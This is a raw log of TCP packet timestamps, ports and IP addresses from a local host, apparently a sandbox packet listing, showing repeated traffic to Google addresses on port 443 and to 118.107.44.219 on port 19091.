Dec 30, 2024 04:59:13.211926937 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.211937904 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.211981058 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.212738991 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.212785959 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.212806940 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.212832928 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.216473103 CET	49770	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.216480970 CET	443	49770	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.217585087 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.217631102 CET	443	49776	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.217684031 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.217910051 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.217920065 CET	443	49776	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.236727953 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.236764908 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.236782074 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.236790895 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.236830950 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.236835957 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.236860037 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.236901045 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.237318993 CET	49771	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.237325907 CET	443	49771	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.238023996 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.238118887 CET	443	49777	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.238415003 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.238751888 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.238790035 CET	443	49777	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.239478111 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239497900 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239510059 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239573002 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.239598989 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239609957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239620924 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239631891 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239638090 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.239641905 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.239664078 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.239701033 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.240451097 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240609884 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240624905 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240634918 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240644932 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240654945 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240660906 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.240667105 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.240685940 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.240705967 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.241573095 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241584063 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241592884 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241604090 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241614103 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.241615057 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241625071 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.241632938 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.241652012 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.242438078 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.242455959 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.242465019 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.242485046 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.242511988 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.368144989 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.368323088 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.368333101 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.368438005 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.368558884 CET	49772	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.368571043 CET	443	49772	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.369012117 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.369040012 CET	443	49778	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.369096994 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.369467974 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.369488001 CET	443	49778	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.389857054 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.389899015 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.389911890 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.389918089 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.389940023 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.389971018 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.389985085 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.390031099 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.390072107 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.390517950 CET	49769	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.390525103 CET	443	49769	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.390898943 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.390943050 CET	443	49779	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.391011000 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.391210079 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.391236067 CET	443	49779	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.450783014 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450795889 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450844049 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.450845957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450946093 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450963020 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450973988 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.450990915 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451003075 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451009989 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.451013088 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451020002 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451045990 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.451055050 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.451718092 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451729059 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451739073 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451766014 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.451945066 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451956987 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.451998949 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.452027082 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452038050 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452048063 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452058077 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452070951 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452075005 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.452081919 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.452097893 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.452104092 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453020096 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453033924 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453044891 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453054905 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453066111 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453073025 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453077078 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453089952 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453098059 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453099966 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453131914 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453681946 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453747988 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453759909 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453771114 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453780890 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453790903 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453809977 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453819036 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453819036 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.453819990 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453830957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.453855991 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.454592943 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.454602957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.454613924 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.454639912 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.454659939 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.583138943 CET	80	49774	180.163.251.230	192.168.2.4
Dec 30, 2024 04:59:13.583240986 CET	49774	80	192.168.2.4	180.163.251.230
Dec 30, 2024 04:59:13.662096024 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662108898 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662118912 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662172079 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662183046 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662194014 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662204981 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662214994 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662216902 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662225008 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662242889 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662269115 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662545919 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662558079 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662569046 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662579060 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662607908 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662628889 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662807941 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662825108 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662834883 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662847042 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662856102 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662861109 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662868023 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662869930 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662880898 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662889957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662895918 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662900925 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.662908077 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.662944078 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.663608074 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663624048 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663635015 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663645029 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663655996 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663661003 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.663665056 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663676023 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663687944 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.663691044 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663701057 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663707018 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.663711071 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663718939 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.663722038 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.663758993 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.664458036 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664468050 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664479017 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664488077 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664498091 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664508104 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.664508104 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664520025 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664529085 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664540052 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.664542913 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.664562941 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.664576054 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665039062 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665050030 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665060043 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665070057 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665080070 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665085077 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665088892 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665095091 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665100098 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665106058 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665115118 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665122986 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665138960 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665153027 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665766954 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665777922 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665788889 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665798903 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665808916 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665817976 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665822029 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665829897 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665838957 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665844917 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665847063 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665855885 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.665874958 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.665889978 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.667036057 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667047024 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667057037 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667078018 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.667195082 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667205095 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667216063 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.667241096 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.667274952 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.744702101 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.744725943 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.744735956 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.744771004 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.817871094 CET	443	49776	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.817941904 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.818284035 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.818289042 CET	443	49776	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.827148914 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.827155113 CET	443	49776	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.837829113 CET	443	49777	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.837896109 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.838150024 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.838170052 CET	443	49777	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.839798927 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:13.839812994 CET	443	49777	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:13.874429941 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874488115 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.874588013 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874597073 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874608040 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874619007 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874628067 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874645948 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.874671936 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.874743938 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874756098 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874768019 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874783039 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874789000 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.874795914 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.874896049 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.874933004 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875034094 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875050068 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875061035 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875072002 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875099897 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875123978 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875215054 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875226021 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875236034 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875246048 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875257015 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875266075 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875277042 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875284910 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875287056 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875318050 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875327110 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875355005 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875364065 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875375032 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875416040 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875540018 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875550985 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875562906 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875571012 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875576019 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875608921 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875708103 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875719070 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875729084 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875739098 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875750065 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.875756025 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875765085 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.875786066 CET	49766	19091	192.168.2.4	118.107.44.219
Dec 30, 2024 04:59:13.957077026 CET	19091	49766	118.107.44.219	192.168.2.4
Dec 30, 2024 04:59:13.994384050 CET	443	49778	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:13.994505882 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.994884968 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:13.994890928 CET	443	49778	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.000509024 CET	443	49779	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.000571966 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.002377033 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.002382040 CET	443	49778	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:14.003516912 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.003535032 CET	443	49779	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.003659964 CET	49779	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.003664017 CET	443	49779	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:14.033339024 CET	49776	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.033379078 CET	49777	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:14.033382893 CET	49778	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:14.033427000 CET	49779	443	192.168.2.4	142.250.186.129
